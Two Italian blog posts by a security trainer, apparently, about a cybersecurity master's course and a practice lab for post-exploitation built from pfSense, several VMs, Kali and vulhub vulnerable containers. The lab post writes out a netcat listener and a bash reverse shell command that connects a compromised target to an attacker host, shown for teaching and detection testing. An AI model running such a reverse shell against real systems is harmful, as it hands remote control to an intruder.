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Master CyberSecurity e Data Protection: riflessioni ed approfondimenti

Lo scorso 26 febbraio ho avuto il piacere dedicare una giornata per una docenza all’interno del Master curato da 24 ore Business School: Executive Master Cybersecurity e Data Protection. Tanti argomenti, quelli discussi nella preparazione del programma, da addensare in sei intense ore dove si sono condivise informazioni ma anche molta esperienza tramite casi di studio e laboratori pratici.

Appena chiusa la lezione mi è immediatamente venuta voglia di scrivere in merito, in parte per “digerire” l’esperienza della docenza, sempre più frequente negli ultimi anni e sempre ricca di emozioni, in parte per ripercorrere gli argomenti che a causa del tempo non ho potuto approfondire. Come ho scritto in un post qualche giorno fa quando ho preparato la sessione ho dovuto necessariamente selezionare gli argomenti da presentare, vorrei quindi provare ad approfondire parte dei contenuti arricchendo ovviamente con dei laboratori pratici che siano di comune utilità. In questo post provo a fare un elenco degli approfondimenti che mi piacerebbe affrontare e nei prossimo giorni, dal mio canale Twitch, inizieremo a discuterli assieme.

OSInt e strumenti

E’ un argomento che appassiona sempre ed ho notato un forte interesse per due specifici strumenti con cui abbiamo un po’ giocato: Shodan e Maltego. Proverei quindi ad approfondire l’utilizzo degli strumenti in se e nel caso di Shodan riprendo un tema di cui avevo parlato in un podcast: la possibilità di utilizzare la piattaforma per automatizzare alcune ricerche. Ci vedo bene un piccolo lab per con un po’ di python.

Analisi e gestione delle vulnerabilità

Argomento troppo vasto. Cosa sia una vulnerabilità è più o meno cosa nota, comprenderla è un altro paio di maniche. L’approfondimento che vorrei fare in questo caso è più di gestione che di operatività. A fare una scansione – permettetemi – son buoni tutti, strutturare e governare un Remediation Plan che abbia un senso è un lavoro un po’ diverso. Parliamo di questo, dobbiamo imparare a gestirla questa “sicurezza cibernetica”.

In questa occasione ha sicuramente senso parlare degli elementi che consentono ad un analista di comprendere gli effetti di una vulnerabilità in un determinato contesto. Il concetto che vorrei quindi analizzare è quello del rischio.

Reverse Shell e C2

Temi che hanno appassionato i più tecnici ma che richiedevano un laboratorio dedicato… e così li approcceremo. Preparerò due laboratori per costruire assieme uno scenario di attacco che preveda l’impiego di una Reverse Shell e di un server di controllo.


Probabilmente ho definito gli argomenti per il prossimo mese di live ma se chi dovesse passare per questa pagina ha qualche ulteriore argomento da proporre sono ovviamente ben lieto di considerarlo.

Prima di chiudere (anche perché qui sono le 02:31 a.m.) due parole sull’esperienza in se. Non possono definirmi un docente, non è il mio ruolo, ma sono convinto che chi ha maturato esperienza in un campo (tanta o poca, non importa) debba in qualche misura condividere qualcosa con il resto della comunità. Che sia sotto forma di pubblicazione, di una docenza, di una intervista… va bene tutto. Il punto è condividere l’esperienza oltre che la conoscenza.

cyber security, hacking

Lab setup per post-exploiting: scenario base

Un post dedicato alla preparazione di un lab destinato ad esercitazioni di attacco e difesa. In realtà si tratta di una versione rivisitata di un lab che avevo implementato a fine 2021 con Andrea Dainese per delle sessioni cyber range di addestramento di un Red Team (esperienza molto interessante tra l’altro). In questa versione del lab conto di aggiungere, con il tempo, qualche elemento in più.

Il lab è di per se uno strumento che in questo caso verrà utilizzato per sessioni dimostrative di attacco in diversi contesti. Con 24 Ore Business School ho in programma delle sessioni specifiche all’interno di un master in Cyber Security e per l’occasione ho voluto preparare delle sessioni dove si possa vedere qualcosa di reale seppur in ambiente “controllato”. Se all’interno del master la scelta degli argomenti è giustamente definita dal programma, sulle mie play-session Twitch c’è spazio per la sperimentazione. In questo periodo mi piace particolarmente giocare con le reverse shell e le azioni di post-exploitation, quindi in questo lab andrò a predisporre elementi vulnerabili in varia forma al fine di provare diverse tecniche di attacco e sperimentare strumenti di detection.

Nello scenario base andiamo ad installare:

  • Un firewall di perimetro con tre network interfaces (WAN, LAN, DMZ)
  • Una VM con sistema operativo Windows Server
  • Una VM con sistema operativo Ubuntu Linux Server
  • Una VM con sistema operativo Windows (client)
  • Una VM d’appoggio per l’attacker (la solita kali alla portata di tutti)

Lo schema finale assomiglia a qualcosa del genere:

lab schema

Per semplicità in questo scenario il firewall è basato su un glorioso pfsense che avrà ovviamente una interfaccia WAN esposta in rete pubblica (per accesso ad internet e NAT), una interfaccia per la DMZ ed una interfaccia per la rete LAN. Nella play-session in preparazione lo scenario coinvolgerà i sistemi in DMZ in quanto vi saranno dei servizi esposti con delle vulnerabilità anche gravi (es: RCE).

Partiamo quindi proprio dai sistemi server ed in particolare dalla VM Ubuntu Linux su cui predisponiamo un set di container appositamente implementati con software vulnerabile: https://github.com/vulhub/vulhub. Sul sistema (target-01 nel mio schema) va quindi installato un po’ di software base:

$ sudo apt-get install python3-pip
...
$ sudo apt-get install docker docker-compose
...

Fatto questo si può procedere con il download del progetto vulnhub:

$ wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
$ unzip vulhub-master.zip 

Ora abbiamo sulla macchina una certa abbondanza di software con cui giocare per provare diverse tipologie di exploit. Il primo scenario a cui dedicare la sessione live del 17 febbraio riguarda la possibilità di guadagnare una reverse shell su uno dei sistemi target partendo da una semplice sessione tcp via netcat.

A prescindere dal software che utilizzeremo come target per la simulazione l’obiettivo è quindi eseguire sul server vittima un comando netcat per aprire una sessione verso la macchina controllata dall’attacker ed adoperarsi per mantenere il link stabilmente attivo. In riferimento allo schema condiviso avremo quindi sulla macchina dell’attacker un netcat in listen pronto a ricevere la sessione dalla macchine vittima…

$ nc -vv -l -p 1337

…e sul sistema target faremo in modo di aprire una sessione verso la macchina dell’attacker con una shell pronta a ricevere i comandi da remoto. Per esempio:

$ sleep 3s && nohup bash -i >/dev/tcp/{R_HOST}/1337 0<&1 2>&1

In questo scenario, potendo il sistema target accedere alla rete internet attraverso il firewall, otterremo che la macchina compromessa sarà governabile da remoto grazie ad una sessione che ha origine dall’interno della rete verso l’esterno.

TODO per la sessione live (tempo permettendo):

  • setup del lab – ovviamente – e panoramica dei sistemi
  • test con la reverse shell sulla macchina target
  • test di exploiting di un sistema vulnerabile per esecuzione reverse shell
  • test di detection: verifica log firewall e test con XDR

Ovviamente la sessione è puramente dimostrativa e l’obiettivo è toccare con mano temi ben noti agli addetti ai lavori ma forse meno frequentati da chi si occupa prettamente di gestione operativa dei sistemi.

Il principio alla base di questi contenuti resta quello della consapevolezza: se capiamo come funzionano gli attacchi informatici avremo più strumenti per comprendere come prevenirli e, in caso di incident, come gestirli.